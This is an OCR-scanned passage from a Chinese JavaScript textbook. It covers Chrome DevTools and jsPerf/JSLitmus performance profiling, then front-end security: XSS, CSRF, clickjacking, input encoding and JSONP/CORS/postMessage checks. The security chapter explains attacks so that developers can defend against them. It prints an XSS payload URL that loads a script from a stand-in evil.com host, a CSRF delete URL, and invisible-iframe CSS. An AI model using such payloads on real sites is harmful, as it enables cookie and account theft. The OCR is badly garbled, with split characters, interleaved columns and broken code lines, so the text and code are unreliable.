上 述 代码 中 ， 只 在 父 元 素 上 绑 定 了 click 事 件 ， 当 单 击 子 节点 时 ，click 事 件 会 冒 泡 ， 父 节点 捕获 事件 后 通过 e.target 检 查 事件 源 元 素 并 做 相应 的 处 理 。 






















































































在 Javascript 中 ， 因 为 事件 绑 定 方式 存在 浏览 器 兼容 问题 ， 所 以 在 很 多 框架 中 也 提供 了 相似 的 接口 方法 用 于 事件 托管 。 例 如 ， 在 jQuery 中 可 以 使 用 如 下 方式 实现 事件 的 托管 〈 示 例 代 码 来 自 jQuery 官方 
网 站 ) 。 
8$( table” ) on( "click", "td"; function() { 


$( this ) .toggleClass ( "chosen" ); 
i) 





10.5 ”使 用 辅助 工具 优化 JavaScript 人 代码 性 能 














性 能 优化 一 定 要 有 目标 和 尺度 ， 而 不 是 靠 感觉 。 毫 无 目标 、 不 做 横向 对 比 的 性 能 优化 有 可 能 会 抓 不 住 重点 ， 找 不 到 性 能 的 瓶颈 所 在 。 因 此 ， 在 优化 JavaScript 代 码 时 ， 首 先 要 整体 评测 性 能 并 找到 性 能 
的 瓶颈 ， 这 样 才能 有 针对 性 地 优化 那些 对 性 能 影响 最 大 的 部 分 。 









































在 做 Javascript 代 码 性 能 优化 时 ， 首 先是 查看 JavaScript 代 码 文件 的 加 载 情况 。 这 时 可 以 使 用 各 浏览 器 自 带 的 开发 工具 ， 比 如 Chrome 浏 览 器 自 带 的 Developer Tools。 打 开 此 工具 ， 选 中 Network 就 可 
以 查看 在 页 面 加 载 时 各 文件 的 加 载 情况 ， 包 括 请 求 的 顺序 、 起 始 时 间 、 接 收文 件 的 起 始 时 间 和 终止 时 间 、 请 求 文件 总 耗 时 和 文件 传输 耗 时 等 ， 也 可 以 按照 文件 类 型 的 不 同 ， 分 类 展示 同类 型 文件 的 加 载 情 
况 。 图 10-1 展 示 的 是 请 求 一 个 网 页 对 应 的 JavaScript 文 件 的 加 载 情况 列表 。 


Elements Resources | Network | Sources Timeline Profiles Audits Console PageSpeed 
Name Type Initiator Size -Start Time 10.00s 12.00s 14.00s 











| | ext-base.is applicati... A + 7 4 dss 
| | ext-alljs applicati... SR 198KB ... Ct 


| ext.msb.js applicati... a Pp < sy 
jquery-2.0.0.min.js applicati... 本 29.2KB ... ED) 
| jquery-plugin.js applicati... ee 33.8KB ... > 
| | knockout-2.2.1.js applicati... gs 15.0KB ... i 
_| sammy-0.7.4.min.js applicati..- 这 二 6.5 KB ... > 
reauire.is 200 applicati... Www.... 6-1KB ... = 
国 , 污 All | Documents Stylesheets tmages ET XHR Fonts WebSockets Other 








10-1 网 站 中 JavaScript 代 码 文件 加 载 情况 列表 











从 列表 中 可 以 很 清晰 地 看 到 各 JavaScript 代 码 文件 的 加 载 耗 时 情况 ， 借 助 该 表 ， 可 对 比 代码 加 载 优化 前 后 的 耗 时 情况 ， 并 有 针对 性 地 制定 代码 加 载 优化 方案 。 开 发 者 可 以 参考 Google 的 官方 网 站 介 
绍 []， 查 看 Network 工 具 栏 的 详细 使 用 方式 。 





很 多 性 能 检查 工具 也 会 检查 代码 文件 的 加 载 情况 ， 并 给 出 有 价值 的 建议 ， 如 压缩 代码 、 合 并 代码 、 调 整 代码 加 载 顺 序 、 延 迟 加 载 代码 等 。 这 类 工具 有 PageSpeed、YSlow 等 。 这 类 工具 会 从 网 页 整体 上 
进行 检查 ， 而 并 不 是 仅仅 检查 JavaScript 代 码 文件 。 图 10-2 是 使 用 PageSpeed 工 具 检 查 某 个 网 站 后 给 出 的 建议 。 


Elements Resources Network Sources Timeline Profiles Audits Console| 


可 启用 压缩 


加 最 大 限度 降低 有 效 负荷 使 用 gzip 或 deflate 压缩 资源 ， 可 减少 通过 网 络 发 送 的 字 节 数 。 
了 解 详情 


优化 图 片 
将 图 片 组 合 为 C55 贴图 … 针对 此 网 页 的 建议 


害 用 和 压 和 第 
提供 压缩 后 的 图 片 为 以 下 资源 启用 压缩 可 将 其 传送 大 小 减少 6.9 KiB (64%)。 


加 最 大 限度 成 少 网 页 吉 载 延 。 压 编 http:/ /ww cnblogs. com/.../aggsite. js?... 司 减 少 6.9 KiB (64%)。 


























图 10-2 ”PageSpeed 工 具 操 作 界 面 





JavaScript 代 码 运行 的 性 能 瓶颈 主要 在 DOM 操 作 上 ， 这 些 操作 会 引起 页 面 的 重 绘 或 重 排 ， 当 然 ， 也 会 有 一 些 大 循环 的 影响 。 事 实 上 ， 优 化 JavaScript 的 运行 性 能 也 是 有 指标 的 。 高 性 能 的 Web 网 页 ， 要 
求 网 页 泻 染 过 程 中 达到 理想 的 60 帧 / 秒 的 帧 率 ， 若 实在 达 不 到 ， 至 少 也 要 达到 30 帧 / 秒 ， 只 有 这 样 才能 保证 用 户 操作 的 流畅 性 。 按 60 帧 / 秒 的 帧 率 要 求 ， 即 每 帧 画面 要 在 16.66 毫 秒 的 时 间 内 演 染 完成 。 优 化 
Javascript 代 码 的 运行 性 能 时 也 是 以 这 个 值 作为 标杆 值 。Chrome 浏 览 器 开发 工具 中 的 Timeline 和 Profile 工 具 栏 可 以 帮助 开发 者 达到 这 样 的 目标 。 




















查看 页 面 DOM 事 件 、 重 绘 或 重 排 及 实时 内 存 占 有 等 情况 时 ， 则 可 以 使 用 Chrome 浏 览 器 开发 工具 中 的 Timeline 工 具 栏 。Timeline 工 具 的 操作 界面 如 图 10-3 所 示 。 








四 日 全 Developer Tools - https:/ /www.mystudybible.com/ 
Elements Resources Network Sources | Timeline | Profiles Audits Console PageSpeed 


Events | 5.00s 10| 100s |25.00s 30.00s 35.00s 40.00s 45.00s 


i Um i i | I! | 
1 


RECORDS | 16.50s 16.55s 16.60s 16.65s 16.70s 16.75s 16.80s 16.85s 16.90s 16.95s 


理 Send Request x 14 

Send Request x 5 

局 Send Request x 3 

局 Send Request (tool-sprites—... | 
加 Send Request x 2 


mm Coan Doaner MMe Se Oi! 


器. 泪  @ 9 全 [二 =1l5msv| 加 Lo. WScri.. Ren... MPai... | 27 of 5942 records AIl8 





图 10-3 ”Timeline 工 具 栏 操作 界面 























可 以 看 到 ， 该 工具 栏 中 有 3 个 选项 : 事件 、 帧 模式 、 内 存 。 在 事件 面板 中 展现 了 加 载 、 脚 本 执行 、 重 绘 、 重 排 所 占有 的 时 间 长 度 ， 而 且 每 种 类 型 都 使 用 了 不 同 的 颜色 区 分 。 在 图 10-3 中 还 展示 了 事件 面 
板 的 记录 。 面 板 中 的 左下 侧 详细 记录 了 各 事件 所 占用 资源 的 情况 。 如 果 是 脚本 的 执行 ， 则 会 出 现 调用 栈 信息 ， 单 击 该 信息 会 跳 转 到 对 应 的 代码 行 ， 这 个 功能 是 非常 有 意思 的 ， 图 10-4 就 展示 了 此 功能 。 


RECORDS 

四 Parse HTML 

目 GC Event (5.4 MB collected) 
国 Receive Data x 11 


日 Evaluate Script (ext-all.is:1) 
jai 












































en Script ~ Details 
Duration 105.637 ms (at 6.98 5) 


Self Time 66.552 ms 
CPU Time 105.637 ms 
Aggregated Time 网 105.637 ms 


Script ext-—all.js:1 
Used Heap Size 18.9 MB -6, 1 MB) 


日 Evaluate Script x 2 


图 10-4 ”事件 记录 对 应 的 信息 





























在 帧 模式 工具 面板 中 的 信息 ， 可 以 辅助 开发 者 改善 泻 染 的 帧 率 ， 提 高 页 面 响应 的 性 能 。 帧 模式 中 展现 了 每 一 帧 对 应 的 细节 ， 同 时 提供 了 一 个 30~ 60 帧 / 秒 的 范围 ， 让 开发 者 可 以 很 直观 地 看 到 那些 操作 耗 
时 较 长 的 操作 。 图 10-5 是 在 帧 模式 下 页 面 加 载 泻 染 的 详细 信息 。 






































在 图 10-5 中 ， 开 发 者 可 以 单 击 每 一 帧 ， 查 看 在 这 一 帧 内 发 生 的 事件 。 尤 其 要 关注 那些 帧 率 小 于 30 帧 / 秒 的 操作 ， 以 便 有 针对 性 地 提高 性 能 。 








| 一 Memory 











图 10-5” 帧 模式 下 页 面 加 载 泻 染 的 详细 信息 








如 果 网 页 存在 内 存 泄露 的 问题 ， 那 么 Timeline 工 具 栏 的 内 存 模式 对 于 检查 这 种 问题 是 非常 有 用 的 。 该 内 存 模式 的 记录 中 包含 了 在 一 段 时 间 内 内 存 占有 情况 ， 图 10-6 展 示 了 此 功能 。 














= Events 中 4 15.00s k 25.00s 30.00s 35.00s 40.00s 


WN Frames 





图 10-6 内 存 模式 下 页 面 加 载 泻 染 过 程 中 内 存 占有 情况 











选中 图 10-6 中 任意 的 时 间 间 隔 ， 就 会 展现 此 间隔 内 页 面 各 事件 及 对 应 的 文档 、DOM 节 点 和 事件 绑 定 的 数量 。 开 发 者 最 关心 的 就 是 那些 内 存 占有 急剧 上 升 的 阶段 ， 选 中 此 时 间 段 就 可 以 查看 页 面 在 此 时 
究竟 发 生 了 哪些 事情 。 图 10-7 展 示 的 就 是 在 某 个 时 间 段 内 页 面 内 存 占有 的 详细 信息 。 








EZ Events 
中 中 Frames 





.50s 14.605 14.705 14.805 14.905 15.005 15.10s 


Function Call x 2 


15.20s 


15.30s 15.40s 15.50s 15.60s 15.70s 





Function Call (messaging:1) 
写 Function Call ([VM] runtime ... 
Evaluate Script (frame load... 
Evaluate Script (iauery-1.8... 


— Maeen EFTAM se 个 


COUNTERS 





Documents: 29 Nodes: 2325 Listeners: 218 
图 Document Count [24 - 37 
] 


国 DOM Node Count [ 2143 - 
2688] 


国 Event Listener Count [ 212 
-228] 





图 10-7 内存 模式 下 页 面 内 存 占 有 的 详细 信息 








从 Timeline 工 具 栏 中 ， 开 发 者 基本 可 以 知道 性 能 的 瓶颈 在 什么 地 方 ， 如 果 看 到 Timeline 上 的 黄色 占有 很 大 的 部 分 ， 则 性 能 瓶颈 可 能 在 JavaScript 上 ; 如 果 在 Timeline 中 显示 的 内 存 占有 情况 异常 ， 则 要 
仔细 检查 内 存 溢出 。Profile 工 具 栏 在 这 个 时 候 就 派 上 了 用 场 ，Profile 工 具 具 有 更 细 粒 度 的 代码 分 析 能 力 ， 能 分 析 每 个 函数 调用 所 占有 的 资源 情况 ， 可 极 大 地 辅助 开发 者 定位 有 问题 的 代码 。Profile 提 供 了 3 





种 检查 工具 选项 : JavaScript CPU 分 析 工具 、 堆 内 存 分 配 快照 、 堆 内 存 分 配 记 录 。 下 面 以 使 用 JavaScript CPU 分 析 工具 巴 为 例 ， 图 


@ee 
Elements Resources Network Sources Timeline |Profiles| Audits Console PageSpeed 


Profiles 


CPU PROFILES 


围 profile 1 


re 
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Flame Chart 





10-8 为 JavaScript CPU 分 析 工 具 在 Heavy 模 式 下 的 显示 界面 。 


Developer Tools - http://xa-gsd-dj1:9000/Calendar 


MA 


3900ms 








图 10-8 JavaScript CPU 分 析 工 具 在 Heavy 模 式 下 的 显示 界面 








10-8 中 可 以 很 直观 地 看 到 各 Javascript 函 数 运行 时 所 占用 的 CPU 时 间 。 更 详细 的 使 用 介绍 ， 可 参考 官方 网 站 的 介绍 。 








在 图 








如 上 的 工具 仅仅 针对 网 页 中 加 载 的 JavaScript， 如 果 想 优化 某 个 JavaScript 代 码 片段 的 性 能 ， 则 可 以 使 用 在 线 的 代码 性 能 对 比 工具 ， 如 使 用 sPerfB]。 开 发 者 可 以 在 jsPerf 上 在 线 编辑 和 运行 代码 片段 ， 得 





到 浏览 器 运行 的 性 能 信息 。 这 个 工具 最 大 的 优势 是 可 以 同时 对 比 多 段 代码 的 性 能 差异 。 图 


从 结果 上 可 以 看 到 ， 第 二 段 代 码 的 性 能 明显 要 好 于 第 一 段 代 码 ， 





10-9 是 对 比 两 段 代码 后 得 出 的 性 能 比较 结果 。 


因为 第 一 段 代码 的 运行 速度 比 第 二 段 慢 了 72%。 这 只 是 在 Chrome 30 版 本 和 OS X 10.9.1 系 统 中 得 到 的 结果 ， 在 实际 使 用 中 ， 应 该 在 多 个 


浏览 器 环境 中 测试 ， 这 样 才能 真实 地 确定 性 能 的 差异 。 因 为 很 多 时 候 并 非 在 所 有 的 浏览 器 都 会 得 到 相同 的 性 能 测试 结果 ， 所 以 在 多 个 环境 中 进行 测试 是 必须 的 。 


Done. Readyto run again. 


var list = document.getElementsByTagName( 'p'); 
for (var i = 0; i < list.length; i++) 工 
} 





var list = document.getElementsByTagName( 'p"'); 
for {var i = 0, | ~ list.length; 1 < l; i4+) { 
} 





图 10-9 使 用 jsPerf 工 具 对 比 代码 的 性 能 差异 

















当然 ， 如 果 不 希望 使 用 在 线 工具 ， 也 可 以 使 用 JavaScript 性 能 测试 库 ， 如 JSLitmus 内 。 使 用 方法 很 简单 ， 如 下 是 使 用 JSLitmus 的 示例 。 




















<script type="text/javascript" src="JSLitmus.js"></script> 
<script> 
JSLitmus.test('testl', function() { 
Var list = document .getElementsByTagName ('p'); 
for (var i = 0; i < list.length; i++) { 
} 
1D); 
JSLitmus.test('test2', function() { 
var list = document .getElementsByTagName ('p'); 
for (var i = 0, 1 = list.length; i < 17 i++) { 
} 
DD); 
</script> 





页 面 运行 效果 如 图 10-10 所 示 。 
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图 10-10 JSLitmus 运 行 界面 


1] https://developers.google.com/chrome-developer-tools/ 


2] https:/ /developers.google.com/chrome-developer-tools/docs/cpu-profi ling 


3] http:/ /jsperf.com 


4] https://code.google.com/p/jslitmus/ 


第 11 章 ”高 安全 性 的 JavaScript 














随 着 网 络 的 快速 普及 ， 网 络 安全 问题 的 受害 者 不 再 只 是 企业 等 集体 ， 每 一 个 接触 网 络 的 普通 人 都 有 可 能 成 为 网 络 攻击 的 受害 者 。 随 着 网 络 的 普及 ， 黑 客 进行 网 络 攻击 的 手段 越 来 越 多 ， 也 越 来 越 复 杂 。 
网 络 攻击 的 数量 增加 ， 除 了 攻击 者 的 数量 和 攻击 水 乎 的 提高 之 外 ， 很 多 网 络 服务 器 端 防护 水 平 低 也 导致 了 网 络 的 攻击 。 最 近 几 年 ， 很 多 网 站 的 安全 漏洞 造成 了 用 户 个 人 信息 的 泄露 ， 很 多 普通 用 户 受 到 了 经 
济 上 的 损失 。 在 国内 著名 的 漏洞 报告 平台 一 一 乌云 网 [1 上 ， 会 持续 报告 很 多 的 网 络 漏洞 。 从 网 站 上 公开 的 漏洞 报告 可 以 看 出 ， 即 使 是 大 的 、 有 科技 实力 的 网 络 服务 商 ， 在 其 提供 的 网 络 产品 中 也 经 常会 存在 
致命 的 漏洞 ， 可 见 目 前 的 网 络 安 全 问题 很 突出 。 黑 客 攻击 网 站 的 主要 手段 有 SQL 注 入 、 网 络 钓鱼 、 跨 站 攻击 、 拒 绝 服务 攻击 等 。 当 然 ， 网 站 的 维护 者 也 有 很 多 防范 的 手段 ， 如 构建 强大 的 防火 墙 等 。 只 是 ， 
只 有 网 站 本 身 具有 高 安全 性 ， 才 能 更 好 地 抵挡 各 种 复杂 的 攻击 ， 而 这 就 要 求 网 站 的 开发 者 在 开发 网 站 时 遵循 一 定 的 安全 规范 了 。 








































































































































































































从 网 站 的 前 后 端的 角度 来 说 ， 后 端 是 安全 防范 的 重 中 之 重 。 网 站 的 后 端 承载 着 网 站 中 的 重要 信息 ， 如 用 户 账号 、 密 码 信息 、 信 用 卡 信息 等 ， 以 及 其 他 一 些 重要 信息 ， 这 些 信息 是 攻击 者 最 希望 得 到 的 信 
息 。 但 是 由 于 前 端 业务 逻辑 越 来 越 多 ， 越 来 越 复杂 ， 因 此 ， 针 对 前 端的 恶意 攻击 也 越 来 越 多 了 。 前 端的 HTML、Javascript、CSS、Flash 等 技术 变 成 了 前 端 攻 击 者 和 开发 者 的 “战场 ”， 网 站 安全 问题 也 开 
始 向 前 端 倾斜 。 本 章 将 介绍 常见 的 前 端 攻 击 方式 以 及 相应 的 防范 措施 。 



































[1] http://www.wooyun.org/ 


11.1 ”常见 的 Web 前 端 攻 击 方式 











要 弄 清楚 如 何 防范 Web 前 端 攻击 ， 首 先 要 了 解 常见 的 Web 前 端 攻 击 手段 或 方法 。 目 前 ， 攻 击 网 站 前 端的 主要 方式 有 如 下 几 种 。 














(1) XSs 

















XSS 是 Cross Site Scripting 的 缩写 ， 即 跨 站 点 脚本 攻击 。XSSs 发 生 在 用 户 的 浏览 器 端 ， 即 当 用 户 在 加 载 HTML 文 档 时 执行 了 非 预期 的 恶意 脚本 。 这 些 恶意 的 脚本 一 般 来 自 于 第 三 方 域 ， 带 有 一 定 的 危害 
性 ， 恶 意 脚本 的 执行 会 导致 用 户 敏感 数据 的 泄露 或 者 诱导 用 户 错误 操作 。 浏 览 器 的 同 源 策略 并 没有 限制 页 面 中 加 载 第 三 方 的 脚本 ， 给 了 攻击 者 一 些 可 乘 之 机 。 一 个 典型 的 案例 是 这 样 的 ， 攻 击 者 发 现 网 站 中 
有 注入 脚本 的 漏洞 ， 比 如 没有 针对 用 户 输入 的 内 容 做 验证 或 转 义 ， 而 是 直接 在 页 面 上 显示 了 输入 的 内 容 ， 于 是 他 们 恶意 输入 一 段 有 攻击 性 的 脚本 ， 使 其 在 页 面 上 执行 。 这 些 恶意 脚本 会 修改 页 面 的 内 容 ， 并 
诱导 用 户 操作 已 经 被 修改 过 的 页 面 ， 从 而 盗 取 用 户 的 Cookie 信 息 。 如 下 的 代码 演示 了 一 个 典型 的 XSS 攻 击 。 
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尘 


0 果 网 站 的 前 端 代码 中 有 如 下 的 代码 段 : 


<script> 
eval (location.hash.substr (1)); 
</script> 


攻击 者 发 现 页 面 上 有 这 样 的 代码 ， 则 可 以 构建 如 下 的 URL: 


http://host/test.html#document .write ("<script/src=//www.evil.com/evil.js></script>") 




















以 这 样 的 方式 ， 攻 击 者 在 目标 网 站 上 就 注入 了 一 个 外 部 的 JavaScript 文 件 ， 如 果 攻 击 者 在 这 个 外 部 文件 中 编写 恶意 的 代码 ， 比 如 取得 Cookie 信 息 等 ， 就 可 控制 用 户 在 被 攻击 网 站 上 的 账号 权限 了 。 








总 结 XSS 攻 击 的 特点 就 是 : 尽 一 切 办 法 在 目标 网 站 上 执行 非 目 标 网 站 上 原 有 的 脚本 。 
(2) CSRF 














CSRF 是 Cross Site Request Forgery 的 缩写 ， 译 为 跨 站 请 求 伪 造 。CSRF 的 概念 很 容易 和 XSS 混 淆 。CSRF 和 XSS 攻 击 都 是 发 起 各 种 请 求 ， 但 对 CSRF 来 说 ， 请 求 是 来 源 于 其 他 网 站 的 ， 即 为 跨 站 的 请 求 。 
并 且 这 个 请 求 并 不 是 来 自 于 用 户 的 意愿 ， 而 是 伪造 的 请 求 ， 诱 导 用 户 发 起 的 请 求 。 如 下 是 一 个 CSRF 攻 击 的 典型 过 程 。 






























































假设 网 站 a 有 个 页 面 是 通过 GET 请 求 来 删除 数据 的 ， 使 用 的 URL 如 下 : 





http://www.a.com/del id=21 











攻击 者 就 可 以 利用 这 一 点 ， 构 建 一 个 页 面 并 创建 一 个 指向 此 链接 的 iframe、img 或 者 script 等 标签 ， 相 当 于 伪造 了 一 个 GET 请 求 。 






































此 后 ， 攻 击 者 把 新 构建 页 面 的 地 址 发 布 出 去 ， 添 加 一 些 吸引 眼球 的 消息 ， 诱 骗 目 标 用 户 打开 此 页 面 。 用 户 打开 此 页 面 就 相当 于 间接 地 完成 了 删除 数据 的 操作 。 















































可 以 看 到 这 个 CSRF 攻 击 的 过 程 明 显 不 同 于 XSS 攻 击 ， 这 个 攻击 可 以 没有 任何 的 JavaScript 参 与 。 当 然 ， 如 果 黑 客 想 要 利用 JavaScript 脚 本 代码 也 是 可 以 的 ， 比 如 利用 JavaScript 代 码 来 动态 构建 form 表 
单 ， 并 发 起 一 个 针对 目标 网 站 的 POST 请 求 ， 从 而 达到 攻击 目标 网 站 的 目的 。 





(3) 界面 操作 劫持 


























界面 操作 劫持 是 最 近 几 年 才 大 量 出 现 的 Web 前 端 攻击 方式 ， 很 多 大 型 网 站 都 受到 过 此 类 方式 的 攻击 。 从 用 户 操作 行为 上 可 以 把 界面 操作 劫持 分 为 点 击 劫持 和 拖 放 劫持 两 种 ， 这 两 种 劫持 的 形式 从 字面 上 
很 好 理解 ， 分 别 是 在 用 户 点 击 和 拖 动 操作 时 发 生 的 劫持 攻击 事件 。 
















































































界面 操作 劫持 是 利用 视觉 欺骗 ， 诱 导 用 户 操作 。 例 如 ， 在 可 见 的 输入 框 中 覆盖 一 个 不 可 见 的 框 (如 一 个 不 可 见 的 iframe) ， 用户 点 击 输入 框 时 ， 其 实 是 点 击 了 不 可 见 框 中 的 内 容 ， 从 而 让 用 户 做 出 了 一 
些 非 自己 意愿 的 操作 。 这 些 操作 有 可 能 造成 用 户 敏感 信息 的 泄露 、 数 据 丢 失 等 后 果 。 





































































































使 用 前 端 技术 很 容易 实现 一 个 不 可 见 且 浮 在 最 上 层 的 iframe 窗 口 ， 如 下 的 样式 代码 展示 了 其 具体 的 实现 。 























filter:alpha (opacity=0) 7 
opacity:0; 
z-index: 100; 


























上 述 代码 设置 了 窗口 的 透明 度 为 0%， 即 窗口 完全 透明 ， 假 设 页 面 中 所 有 的 元 素 设置 的 z-index 样式 都 比 100 小 ， 则 z-index 为 100 的 iframe 窗 口 就 会 浮 到 页 面 的 最 上 层 ， 意 味 着 页 面 上 的 鼠标 操作 首先 会 操 
作 到 iframe 窗 口 里 面 的 内 容 ， 尽 管 操作 者 以 为 操作 的 是 iframe 窗 口 覆 盖 的 区 域 ， 即 实现 了 视觉 上 的 欺骗 。 界 面 操 作 劫 持 并 不 是 具有 高 技术 含量 的 攻击 方式 ， 一 般 黑 客 会 通过 设计 足够 吸引 用 户 操作 的 页 面 实 
现 攻击 。 














































































































要 入 口 之 一 ， 但 前 端 开 发 者 针对 这 些 攻击 的 防范 还 远 远 不 够 ， 防 范 意识 也 很 淡薄 。 在 后 续 的 章节 中 ， 将 会 








以 上 就 是 目前 常见 的 3 种 针对 前 端 页 面 攻击 的 手段 ， 虽 然 前 端 页 面目 前 已 成 为 了 Web 攻 击 的 
讨论 Web 前 端 攻 击 防范 的 最 佳 实践 。 














11.2 不 要 轻易 信任 任何 外 部 传 入 的 数据 


































































































































































































































































































防范 Web 前 端 攻 击 的 一 个 重要 的 常识 是 : 永远 也 不 要 轻易 相信 用 户 输入 的 数据 ， 一 定 要 针对 用 户 输入 做 相关 的 格式 检查 、 过 滤 等 操作 ， 防 止 任何 可 能 的 前 端 注 入 。 如 下 所 列 的 是 在 前 端 开发 中 应 用 的 具 
体 实践 方法 。 

(1) 不 要 轻易 信任 用 户 输入 的 内 容 

大 部 分 的 网 站 中 都 有 和 用 户 输入 交互 ， 或 者 是 通过 URL 传 递 输入 等 功能 模块 存在 ， 这 些 输入 的 入 口 ， 也 给 了 攻击 者 可 乘 之 机 ，XSS 攻 击 就 是 利用 这 些 入 口 来 攻击 网 站 的 。 预 防 攻击 的 方式 其 实 并 不 复杂 ， 
只 要 在 所 有 的 这 些 入 口 添加 必要 的 输入 校 验 和 过 滤 即 可 。 具 体 来 疝 ， 就 是 针对 用 户 输入 内 容 进 行 HTML 编 码 、<html> 标 签 属性 编码 、JavasScript 编 码 、CSs 编 码 、URL 编 码 。 

如 果 项 目 中 使 用 了 jQuery 框架 ， 那 么 以 上 的 编码 过 滤 操 作 就 会 变 得 简单 多 了 ，jQuery 内 置 的 DOM 操 作 接 口 已 经 针对 输入 的 内 容 做 了 相应 的 编码 处 理 ， 比 如 ， 显 示 用 户 输入 的 内 容 时 使 
$ (‘http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/OEBPS/Text/...) .text (data) 而 非 
$ (‘http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/OEBPS/Text/..) .html (data) 、 使 
$ (‘http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/OEBPS/Text/...) .attr () 添加 属性 、 使 有 


$ (‘http://www.hzcourse.com/resource/readBook?path=/openresources/teach ebook/uncompressed/15050/OEBPS/Text/ 


encodeURL。 








如 果 期 望 更 灵活 地 控制 输入 内 容 ， 则 可 以 使 














encoder .encodeForHTML () 

encoder .encodeForHTMLAttribute () 
encoder .encodeForJavaScript () 
encoder .encodeForCSS () 

encoder .encodeForURL () 


DAD DAD 


jQuery 插件 jqencoder[1]。 如 下 是 此 插件 提供 的 各 种 编码 接 





办 














除了 必要 的 数据 检查 过 滤 之 外 ， 也 应 该 尽量 避免 使 














一 些 有 安全 隐患 的 函数 调 











方式 ， 比 如 避免 使 

















(2) 不 要 轻易 信任 任何 传 入 的 第 三 方 数据 





在 前 端 开 发 设计 中 ， 经 常会 加 载 第 三 方 传 入 的 数据 。 但 由 于 浏览 器 同 源 策略 的 









































限制 ，JavaScript 是 不 能 














…) .css () 添加 样式 等 。 至 于 URL 编 码 ， 则 直接 使 


eval、setlnterval、setTimeout 等 函数 直接 运行 输入 的 内 容 。 






































































































































接 加 载 第 三 方 域 的 数据 的 ， 不 过 ， 有 几 种 党 






















































































































































































的 技术 可 以 绕 过 这 样 的 限制 。 其 中 ， 传 统 的 方式 
一 个 脚本 文件 ， 并 在 文件 的 URL 中 传 


数 的 数据 为 JSON 格 式 ， 但 如 果 第 


比如 通过 构造 非法 的 callback 函 数 











过 多 的 服务 











是 通过 使 用 JSONP 拉 ， 这 项 技术 利用 了 浏览 器 可 以 加 载 第 三 方 JavaScript 脚 本 的 特性 。 假 设 A 网 站 请 求 B 网 站 的 数据 ， 则 A 网 站 会 在 页 面 中 通过 <script> 标 签 请 求 B 网 站 的 
入 一 个 回调 函数 名 ，B 网 站 收 到 请 求 后 会 把 要 传输 的 数据 和 A 网 站 传 入 的 回调 函数 组 合 为 一 个 函数 调用 代码 返回 给 A 网 站 ， 传 输 的 数据 则 作为 回调 函数 的 参数 。A 网 站 引用 脚本 的 方式 类 似 如 下 : 
<script src="http://server2.example.com/RetrieveUser UserId=1823&jsonp=parseResponse"> 
</script> 
上 述 代码 中 parseResponse 为 传 入 的 回调 函数 名 称 ，B 网 站 组 合 后 返回 的 代码 类 似 如 下 : 
ParseResponse ({"Name": "Cheeso", "Id" : 1823, "Rank": 7}) 
以 上 示例 代码 来 自 于 JSONP 对 应 的 维基 百科 页 面 。JSONP 虽 然 很 巧妙 地 做 到 了 跨 域 的 数据 传输 ， 但 这 种 方式 也 存在 安全 隐患 。 正 常情 况 下 ， 第 三 方 网 站 传输 给 回调 函 
三 方 网 站 受到 攻击 ， 使 得 其 返回 的 数据 包含 有 恶意 代码 ， 而 不 是 正常 的 JSON 格 式 数据 ， 那 么 执行 这 些 返 回 的 恶意 代码 就 会 导致 不 可 预期 的 攻击 。 因 此 ， 如 果 网 站 中 使 用 了 JSONP 技 术 ， 则 一 定 要 检查 从 第 
三 方 返回 的 数据 格式 。 验 证 方法 很 简单 ， 验 证 返回 数据 的 属性 名 是 否 为 预期 的 名 称 ， 验 证 属性 值 是 否 在 预期 的 范围 内 。 数 据 提 供 方 (第 三 方 ) 更 容易 会 受到 恶意 的 攻击 ， 
名 来 达到 XSSs 攻 击 的 目的 。 防 范 的 办 法 是 过 滤 callback 函 数 名 中 的 非法 字符 。 同 时 ， 也 要 防止 针对 数据 提供 方 的 大 量 恶意 请 求 攻击 ， 即 DDoS 攻击 。 这 种 攻击 的 手段 是 利用 合理 的 服务 请 求 来 占 
资源 。 这 种 攻击 的 解决 办 法 是 利用 白 名 单 或 者 Cookie Token 来 进行 限制 。 一 个 更 安全 的 方式 是 使 用 新 标准 HTML5 中 引入 的 CORSB]， 这 项 技术 目前 在 国内 还 很 少 使 用 。JSONP 技 术 提供 的 跨 域 数据 访问 利 
了 同 源 策略 不 完善 的 地 方 ， 算 是 技巧 性 的 方案 ， 而 CORS 则 是 从 规范 上 专门 定义 的 一 项 跨 域 数据 访问 的 技术 。CORS 比 JSONP 更 先进 和 可 靠 ， 并 且 已 经 得 到 了 主流 浏览 器 的 支持 内 。JSONP 

















求 ， 而 CORS 不 受 这 样 的 限制 ， 甚 至 可 以 通过 AJAX 发 起 请 求 。CORS3 





Access-Control-Allow-Origin: http://www.dang-jian.com 


此 设置 意味 着 从 www.dang-jian.com 网 站 发 起 的 跨 域 请 求 会 得 到 允许 。CORS 虽 然 比 JSONP 更 可 靠 ， 但 是 也 要 遵守 一 些 安全 的 规范 。 例 如 ，Access-Control-Allow-Origin 头 应 该 设置 在 最 小 的 范围 














内 ， 尽 量 不 要 设置 为 *， 即 允许 所 有 的 跨 域 请 求 。 数 据 接收 方 在 接收 到 数 



































HTML5 规 范 中 也 引入 了 另外 一 个 跨 域 数据 传输 的 方案 ， 即 使 














Popup .PostMessage ("这 是 传输 的 数据 "， 
"https://secure.example.net"); 


然后 在 目标 页 面 中 添加 如 下 的 代码 : 





function receiveMessage (event) { 
if (event.origin !== "http://example.org") 
return 
// event .source 指向 popup 
// event.data 的 内 容 是 "这 是 传输 的 数据 " 
} 
} 


window.addEeventListener ("message", receiveMessage, false); 


{ 




























































































居 后 ， 一 定 要 进行 必要 


window.postMessage[3 接 


的 数 








居 格 式 和 完整 性 校 验 ， 并 把 返回 的 内 容 作为 数 














。 使 用 示例 如 下 : 
















































































当 数 据 源 网 页 调用 postMessage 接 口 发 送 数 据 到 目标 页 面 时 ， 目 标 网 页 的 message 事 件 被 触发 ， 并 在 事件 对 象 event 上 包含 了 传输 的 数据 。 使 
似 ， 设 置 数据 接收 方 时 不 要 设置 为 * 号 ， 应 设置 为 特定 的 地 址 。 同 时 ， 数 据 接收 方 应 该 检查 数据 来 源 地 址 并 校 验 接收 的 数 
何 数据 ， 则 不 要 绑 定 message 事 件 。 

(3) 不 要 仅仅 靠 Javascript 代 码 来 阻止 注入 

如 果 用 户 输入 的 数据 要 保存 到 后 端 数据 库 中 ， 则 仅仅 依靠 JavaScript 代 码 来 校 验 用 户 输入 的 数据 是 不 够 的 。 因 为 JavaScript 代 码 本 身 太 容易 被 攻击 者 拦截 和 修改 了 ， 
